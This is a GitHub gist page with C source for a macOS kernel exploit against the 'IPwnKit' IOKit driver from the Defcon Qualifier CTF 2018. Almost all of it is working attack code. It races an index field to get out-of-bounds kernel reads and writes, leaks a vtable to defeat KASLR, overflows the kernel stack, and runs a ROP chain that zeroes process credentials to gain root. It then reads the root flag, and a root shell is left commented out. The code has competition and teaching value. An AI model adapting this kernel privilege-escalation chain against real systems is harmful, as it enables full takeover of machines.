CARVIEW |
Select Language
HTTP/2 200
date: Thu, 09 Oct 2025 06:03:27 GMT
content-type: text/html; charset=utf-8
vary: X-PJAX, X-PJAX-Container, Turbo-Visit, Turbo-Frame, X-Requested-With,Accept-Encoding, Accept, X-Requested-With
etag: W/"a6b8a31ae4fb33ecd84df9dfba56f980"
cache-control: max-age=0, private, must-revalidate
strict-transport-security: max-age=31536000; includeSubdomains; preload
x-frame-options: deny
x-content-type-options: nosniff
x-xss-protection: 0
referrer-policy: origin-when-cross-origin, strict-origin-when-cross-origin
content-security-policy: default-src 'none'; base-uri 'self'; child-src github.githubassets.com github.com/assets-cdn/worker/ github.com/assets/ gist.github.com/assets-cdn/worker/; connect-src 'self' uploads.github.com www.githubstatus.com collector.github.com raw.githubusercontent.com api.github.com github-cloud.s3.amazonaws.com github-production-repository-file-5c1aeb.s3.amazonaws.com github-production-upload-manifest-file-7fdce7.s3.amazonaws.com github-production-user-asset-6210df.s3.amazonaws.com *.rel.tunnels.api.visualstudio.com wss://*.rel.tunnels.api.visualstudio.com github.githubassets.com objects-origin.githubusercontent.com copilot-proxy.githubusercontent.com proxy.individual.githubcopilot.com proxy.business.githubcopilot.com proxy.enterprise.githubcopilot.com *.actions.githubusercontent.com wss://*.actions.githubusercontent.com productionresultssa0.blob.core.windows.net/ productionresultssa1.blob.core.windows.net/ productionresultssa2.blob.core.windows.net/ productionresultssa3.blob.core.windows.net/ productionresultssa4.blob.core.windows.net/ productionresultssa5.blob.core.windows.net/ productionresultssa6.blob.core.windows.net/ productionresultssa7.blob.core.windows.net/ productionresultssa8.blob.core.windows.net/ productionresultssa9.blob.core.windows.net/ productionresultssa10.blob.core.windows.net/ productionresultssa11.blob.core.windows.net/ productionresultssa12.blob.core.windows.net/ productionresultssa13.blob.core.windows.net/ productionresultssa14.blob.core.windows.net/ productionresultssa15.blob.core.windows.net/ productionresultssa16.blob.core.windows.net/ productionresultssa17.blob.core.windows.net/ productionresultssa18.blob.core.windows.net/ productionresultssa19.blob.core.windows.net/ github-production-repository-image-32fea6.s3.amazonaws.com github-production-release-asset-2e65be.s3.amazonaws.com insights.github.com wss://alive.github.com wss://alive-staging.github.com api.githubcopilot.com api.individual.githubcopilot.com api.business.githubcopilot.com api.enterprise.githubcopilot.com; font-src github.githubassets.com; form-action 'self' github.com gist.github.com copilot-workspace.githubnext.com objects-origin.githubusercontent.com; frame-ancestors 'none'; frame-src viewscreen.githubusercontent.com notebooks.githubusercontent.com; img-src 'self' data: blob: github.githubassets.com media.githubusercontent.com camo.githubusercontent.com identicons.github.com avatars.githubusercontent.com private-avatars.githubusercontent.com github-cloud.s3.amazonaws.com objects.githubusercontent.com release-assets.githubusercontent.com secured-user-images.githubusercontent.com/ user-images.githubusercontent.com/ private-user-images.githubusercontent.com opengraph.githubassets.com marketplace-screenshots.githubusercontent.com/ copilotprodattachments.blob.core.windows.net/github-production-copilot-attachments/ github-production-user-asset-6210df.s3.amazonaws.com customer-stories-feed.github.com spotlights-feed.github.com objects-origin.githubusercontent.com *.githubusercontent.com; manifest-src 'self'; media-src github.com user-images.githubusercontent.com/ secured-user-images.githubusercontent.com/ private-user-images.githubusercontent.com github-production-user-asset-6210df.s3.amazonaws.com gist.github.com; script-src github.githubassets.com; style-src 'unsafe-inline' github.githubassets.com; upgrade-insecure-requests; worker-src github.githubassets.com github.com/assets-cdn/worker/ github.com/assets/ gist.github.com/assets-cdn/worker/
server: github.com
content-encoding: gzip
accept-ranges: bytes
set-cookie: _gh_sess=yEIUioPkVoQG6clG3bkgvlAfNWLib3yvFXdeOiQY61eoQGMBUo3nWqFc19%2FY5SjO0amrO4cS0GDh1i6Bbi68q7M2DZIk8bPben1DFvDoUFOpbvpNRcmL772mGyFat%2FMQ5gJIok1MA78%2F9K%2Fnn9KzhGN8InF6Esg%2Bg8WMnpjxY1qptytCdfRLhQZB%2FBpJhBVCUug0QGUjQp4WbZlWvH7waBN0mCAypMbnDXU816KTzCrr3zx6311%2BhOvHf4dD0kYTU2am%2FTYxk%2F6PLv%2BK%2FbyGtQ%3D%3D--y5bg8TPG38jHUYU%2F--q6zao1YdNMwBH0KpM7bC3Q%3D%3D; Path=/; HttpOnly; Secure; SameSite=Lax
set-cookie: _octo=GH1.1.326235579.1759989806; Path=/; Domain=github.com; Expires=Fri, 09 Oct 2026 06:03:26 GMT; Secure; SameSite=Lax
set-cookie: logged_in=no; Path=/; Domain=github.com; Expires=Fri, 09 Oct 2026 06:03:26 GMT; HttpOnly; Secure; SameSite=Lax
x-github-request-id: D16C:388441:48B7A8:5F24E8:68E7502E
Exploit for IPWnKit: a macOS IOKit exploit challenge from Defcon Qualifier CTF 2018 · GitHub
Show Gist options
Save saelo/0a85f22c8a02f3a314661edd715900d3 to your computer and use it in GitHub Desktop.
{{ message }}
Instantly share code, notes, and snippets.
-
Star
21
(21)
You must be signed in to star a gist -
Fork
5
(5)
You must be signed in to fork a gist
-
Save saelo/0a85f22c8a02f3a314661edd715900d3 to your computer and use it in GitHub Desktop.
Exploit for IPWnKit: a macOS IOKit exploit challenge from Defcon Qualifier CTF 2018
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdlib.h> | |
#include <stdio.h> | |
#include <string.h> | |
#include <pthread.h> | |
#include <sys/mman.h> | |
#include <IOKit/IOKitLib.h> | |
#include <CoreFoundation/CFPropertyList.h> | |
const char* kMyDriversIOKitClassName = "io_oooverflow_IPwnKit"; | |
int kOOOUserClientOpen = 0; | |
int kOOOUserClientClose = 1; | |
int kOOOUserClientSayHi = 2; | |
int kOOOUserClientReadNum = 3; | |
int kOOOUserClientWriteNum = 4; | |
int kOOOUserClientFillArray = 5; | |
io_connect_t connection; | |
// Arguments for the ReadNum and WriteNum methods | |
// Stored in global memory since to trigger the race condition | |
struct OOOArgs { | |
uint64_t index; | |
uint64_t value; | |
char padding[0x1000]; // Must be large enough to cause OOL transport | |
} Args; | |
// Racer thread: flips Args.index between these two values | |
uint64_t racer_vals[2]; | |
void RacerThreadMain() { | |
volatile uint64_t* addr = &Args.index; | |
while (true) { | |
*addr = racer_vals[0]; | |
pthread_testcancel(); | |
*addr = racer_vals[1]; | |
pthread_testcancel(); | |
} | |
} | |
pthread_t racer_thread; | |
void StartRacer(uint64_t val1, uint64_t val2) { | |
racer_vals[0] = val1; | |
racer_vals[1] = val2; | |
pthread_create(&racer_thread, NULL, (void*)RacerThreadMain, NULL); | |
} | |
void StopRacer() { | |
pthread_cancel(racer_thread); | |
pthread_join(racer_thread, NULL); | |
} | |
// Thanks @LinusHenze | |
uint64_t GetKextAddr() { | |
FILE *fp; | |
char line[4096]; | |
fp = popen("kextstat | grep io.oooverflow.IPwnKit | awk '{print $3}'","r"); | |
if(fp == NULL) { | |
printf("Failed to get KEXT address!\n"); | |
exit(-1); | |
} | |
fgets(line, sizeof(line)-1, fp); | |
uint64_t addr = (uint64_t) strtoul(line, NULL, 16); | |
fclose(fp); | |
return addr; | |
} | |
uint64_t ReadNum(uint64_t idx) { | |
uint64_t out[2]; | |
uint32_t outSize = 2; | |
Args.index = idx; | |
kern_return_t kr = IOConnectCallMethod(connection, kOOOUserClientReadNum, 0, 0, &Args, sizeof(Args), out, &outSize, 0, 0); | |
if (kr != KERN_SUCCESS) { | |
printf("ReadNum failed\n"); | |
exit(-1); | |
} | |
return out[1]; | |
} | |
void WriteNum(uint64_t idx, uint64_t val) { | |
uint64_t out[2]; | |
uint32_t outSize = 2; | |
Args.index = idx; | |
Args.value = val; | |
kern_return_t kr = IOConnectCallMethod(connection, kOOOUserClientWriteNum, 0, 0, &Args, sizeof(Args), out, &outSize, 0, 0); | |
if (kr != KERN_SUCCESS) { | |
printf("WriteNum failed\n"); | |
exit(-1); | |
} | |
} | |
uint64_t OOBReadNum(int64_t idx) { | |
uint64_t out[2]; | |
uint32_t outSize = 2; | |
uint64_t sentinel = 0x4141414141414141; | |
WriteNum(0, sentinel); | |
Args.index = 0; | |
// Remove the following line to introduce a subtle race condition | |
// that can lead to rare kernel panics and get you banned from the challenge =) | |
// Without that line, if the newly created thread runs before | |
// we enter the IOKit call then we have a 50% chance of returning | |
// an incorrect value from this function and will crash later on | |
// because we're using an invalid kernel slide. | |
out[1] = sentinel; | |
StartRacer(0, idx); | |
uint64_t res = sentinel; | |
while (res == sentinel) { | |
IOConnectCallMethod(connection, kOOOUserClientReadNum, 0, 0, &Args, sizeof(Args), out, &outSize, 0, 0); | |
res = out[1]; | |
} | |
StopRacer(); | |
return res; | |
} | |
uint64_t OOBWriteNum(int64_t idx, uint64_t val) { | |
uint64_t out[2]; | |
uint32_t outSize = 2; | |
Args.index = 0; | |
Args.value = val; | |
out[0] = 0; | |
StartRacer(0, idx); | |
uint64_t res = 0; | |
while (res == 0) { | |
IOConnectCallMethod(connection, kOOOUserClientWriteNum, 0, 0, &Args, sizeof(Args), out, &outSize, 0, 0); | |
res = out[0]; | |
} | |
StopRacer(); | |
return res; | |
} | |
// Corrupt the length field inside the UserClient structure | |
// and call FillArray, leading to a stack based BOF. | |
kern_return_t SmashKernelStack(void* buf, size_t len) { | |
char buffer[0x4000]; | |
memcpy(buffer, buf, len); | |
OOBWriteNum(-1, len << 29); | |
uint64_t out; | |
uint32_t outSize = 1; | |
return IOConnectCallMethod(connection, kOOOUserClientFillArray, 0, 0, buffer, sizeof(buffer), &out, &outSize, 0, 0); | |
} | |
void IPwnKitConnect() { | |
kern_return_t kr; | |
mach_port_t masterPort; | |
io_service_t serviceObject; | |
io_iterator_t iterator; | |
CFDictionaryRef classToMatch; | |
kr = IOMasterPort(MACH_PORT_NULL, &masterPort); | |
if (kr != KERN_SUCCESS) { | |
printf("IOMasterPort returned %d\n", kr); | |
exit(-1); | |
} | |
classToMatch = IOServiceMatching(kMyDriversIOKitClassName); | |
if (classToMatch == NULL) { | |
printf("IOServiceMatching returned a NULL dictionary\n"); | |
exit(-1); | |
} | |
kr = IOServiceGetMatchingServices(masterPort, classToMatch, &iterator); | |
if (kr != KERN_SUCCESS) { | |
printf("IOServiceGetMatchingServices returned %d\n", kr); | |
exit(-1); | |
} | |
serviceObject = IOIteratorNext(iterator); | |
IOObjectRelease(iterator); | |
if (!serviceObject) { | |
printf("No service found\n"); | |
exit(-1); | |
} | |
kr = IOServiceOpen(serviceObject, mach_task_self(), 0, &connection); | |
IOObjectRelease(serviceObject); | |
if (kr != KERN_SUCCESS) { | |
printf("IOServiceOpen returned %d\n", kr); | |
exit(-1); | |
} | |
kr = IOConnectCallScalarMethod(connection, kOOOUserClientOpen, NULL, 0, NULL, NULL); | |
if (kr != KERN_SUCCESS) { | |
printf("OpenUserClient failed\n"); | |
exit(-1); | |
} | |
} | |
int main() { | |
uint64_t vtab, kaslrSlide; | |
IPwnKitConnect(); | |
// Leak a vtable and compute KASLR slide | |
vtab = OOBReadNum(-30); | |
kaslrSlide = (vtab-0x2070) - GetKextAddr(); | |
printf("KASLR Slide: %llx\n", kaslrSlide); | |
// TODO: add something like getchar() here to have a | |
// chance to detect failure and abort the exploit... | |
// Thanks @_tsuro, see https://bazad.github.io/2016/05/mac-os-x-use-after-free/#building-the-rop-stack | |
uint64_t payload[27]; | |
memset(payload, 0x41, sizeof(payload)); | |
payload[14] = 0x434343434343; | |
payload[15] = kaslrSlide + 0xFFFFFF8000810670; // current_proc | |
payload[16] = kaslrSlide + 0xffffff800023c172; // pop rcx; ret | |
payload[17] = kaslrSlide + 0xffffff80006d1e79; // rcx: pop r13; ret | |
payload[18] = kaslrSlide + 0xffffff80004f8483; // mov rdi, rax; call rcx | |
payload[19] = kaslrSlide + 0xffffff8000720c40; // proc_ucred | |
payload[20] = kaslrSlide + 0xffffff800023c172; // pop rcx; ret | |
payload[21] = kaslrSlide + 0xffffff80006d1e79; // rcx: pop r13; ret | |
payload[22] = kaslrSlide + 0xffffff80004f8483; // mov rdi, rax; call rcx | |
payload[23] = kaslrSlide + 0xFFFFFF80006ec4c0; // posix_cred_get | |
payload[24] = kaslrSlide + 0xffffff80005f397a; // mov qword ptr [rax + 8], 0 ; pop rbp ; ret | |
payload[25] = 0x1337; | |
payload[26] = kaslrSlide + 0xFFFFFF800021F21A; // thread_exception_return | |
SmashKernelStack(payload, sizeof(payload)); | |
setuid(0); | |
system("cat /var/root/flag"); | |
//system("/bin/bash"); | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
You can’t perform that action at this time.